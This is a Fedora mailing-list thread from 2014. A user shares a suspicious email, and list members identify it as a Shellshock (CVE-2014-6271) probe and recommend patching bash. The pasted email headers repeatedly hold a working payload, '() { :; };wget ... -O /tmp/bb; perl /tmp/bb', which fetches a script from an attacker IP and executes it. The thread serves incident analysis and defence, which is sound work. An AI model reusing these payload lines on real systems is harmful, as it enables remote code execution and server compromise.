Off topic -- Can anybody tell me what this means?

[William Oliver]

First, I apologize for this not being fedora-specific, but I just got
the oddest email.  It looks like an intrusion attempt, trying to get
sendmail to execute a perl script.  Is anybody familiar with this
particular pattern?

The email is below.

Thanks,

billo


Return-Path: <MAILER-DAEMON(a)billoblog.com&gt;
Received: from incenclick.com (incenclick.com [184.95.45.61] (may be
forged))
     by hope.billoblog.com (8.14.4/8.14.4) with SMTP id s96FKVOY029890
     for <nobody>; Mon, 6 Oct 2014 15:20:31 GMT
Resent-Message-Id: <201410061520.s96FKVOY029890(a)hope.billoblog.com&gt;
X-Authentication-Warning: hope.billoblog.com: incenclick.com
[184.95.45.61] (may be forged) didn't use HELO protocol
To:() { :;;};wget.http://91.207.254.60/.../bb.-O/tmp/bb;perl/tmp/[e-mail];; 
References:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Cc:() { :;;};wget.http://91.207.254.60/.../bb.-O/tmp/bb;perl/tmp/[e-mail];;
From:() { :;;};wget.http://91.207.254.60/.../bb.-O/tmp/bb;perl/tmp/[e-mail];;
Subject:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Date:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Message-ID:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Comments:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Keywords:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Resent-Date:() { :; };wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb
Resent-From:() {
:;;};wget.http://91.207.254.60/.../bb.-O/tmp/bb;perl/tmp/[e-mail];;
Resent-Sender:() {
:;;};wget.http://91.207.254.60/.../bb.-O/tmp/bb;perl/tmp/[e-mail];;

wget http://91.207.254.60/.../bb -O /tmp/bb; perl /tmp/bb

[Fred Smith]

On Mon, Oct 06, 2014 at 08:12:26PM -0400, Matthew Miller wrote:
>  On Mon, Oct 06, 2014 at 11:55:00PM +0000, Bill Oliver wrote:
>  > >If your system is up to date, you should be safe -- all major distributions
>  > >released patches quickly.
>  > I sorta thought that, but I didn't think that sendmail was vulnerable to it...
>  
>  I hadn't heard that either, but sendmail is a very configurable piece of
>  software and might be vulnerable in some configurations. Or maybe some other
>  MTA is. Or maybe it's not and someone is just trying everything. 
Just one possibility is procmail. I have no idea if procmail is subject
to that or not, but it does run lots of code that processes mail headers
when deciding what to do with the mail.

Not picking on procmail, it's just an example that came to mind.

-- 
---- Fred Smith -- fredex(a)fcshome.stoneham.ma.us -----------------------------
               Show me your ways, O LORD, teach me your paths;
                     Guide me in your truth and teach me,
                         for you are God my Savior,
                    And my hope is in you all day long.
-------------------------- Psalm 25:4-5 (NIV) --------------------------------

[Matthew Miller]

On Mon, Oct 06, 2014 at 11:55:00PM +0000, Bill Oliver wrote:
>  >If your system is up to date, you should be safe -- all major
> distributions
>  >released patches quickly.
>  I sorta thought that, but I didn't think that sendmail was vulnerable to it...
I hadn't heard that either, but sendmail is a very configurable piece of
software and might be vulnerable in some configurations. Or maybe some other
MTA is. Or maybe it's not and someone is just trying everything.

-- 
Matthew Miller
<mattdm(a)fedoraproject.org&gt;
Fedora Project Leader

[William Oliver]

On Mon, 6 Oct 2014, Matthew Miller wrote:

>  On Mon, Oct 06, 2014 at 11:07:16PM +0000, Bill Oliver wrote:
> > First, I apologize for this not being fedora-specific, but I just got
> > the oddest email.  It looks like an intrusion attempt, trying to get
> > sendmail to execute a perl script.  Is anybody familiar with this
> > particular pattern?
>
>  Oh my yes. This is a probe for CVE-2014-6271, a serious bug in bash known as
>  "shellshock". See
>  <http://fedoramagazine.org/shellshock-how-does-it-actually-work/>;.
>
>  If your system is up to date, you should be safe -- all major distributions
>  released patches quickly.
>
>  
I sorta thought that, but I didn't think that sendmail was vulnerable to it...


billo

[Ian Malone]

On 7 October 2014 00:07, Bill Oliver <vendor(a)billoblog.com&gt; wrote:
>  First, I apologize for this not being fedora-specific, but I just got
>  the oddest email.  It looks like an intrusion attempt, trying to get
>  sendmail to execute a perl script.  Is anybody familiar with this
>  particular pattern?
>
>  The email is below.
>  
>  Return-Path: <MAILER-DAEMON(a)billoblog.com&gt;
>  Received: from incenclick.com (incenclick.com [184.95.45.61] (may be
>  forged))
>      by hope.billoblog.com (8.14.4/8.14.4) with SMTP id s96FKVOY029890
>      for <nobody>; Mon, 6 Oct 2014 15:20:31 GMT
>  Resent-Message-Id: <201410061520.s96FKVOY029890(a)hope.billoblog.com&gt;
>  X-Authentication-Warning: hope.billoblog.com: incenclick.com
>  [184.95.45.61] (may be forged) didn't use HELO protocol
>  To:() {
>  :;;};wget.http://YOUREXPLOITHERE.-O/tmp/bb;perl/tmp/[e-mail];; 
etc.

If you had to guess what exploit of the month was going to be what
would you say ;)

This is someone hoping there's a mail client or server somewhere (and
maybe there is) that will load those headers into environment
variables and shell out, causing unpatched bash to download and run a
script.


-- 
imalone
http://ibmalone.blogspot.co.uk

[Matthew Miller]

On Mon, Oct 06, 2014 at 11:07:16PM +0000, Bill Oliver wrote:
>  First, I apologize for this not being fedora-specific, but I just
> got
>  the oddest email.  It looks like an intrusion attempt, trying to get
>  sendmail to execute a perl script.  Is anybody familiar with this
>  particular pattern? 
Oh my yes. This is a probe for CVE-2014-6271, a serious bug in bash known as
"shellshock". See
<http://fedoramagazine.org/shellshock-how-does-it-actually-work/>;.

If your system is up to date, you should be safe -- all major distributions
released patches quickly.

-- 
Matthew Miller
<mattdm(a)fedoraproject.org&gt;
Fedora Project Leader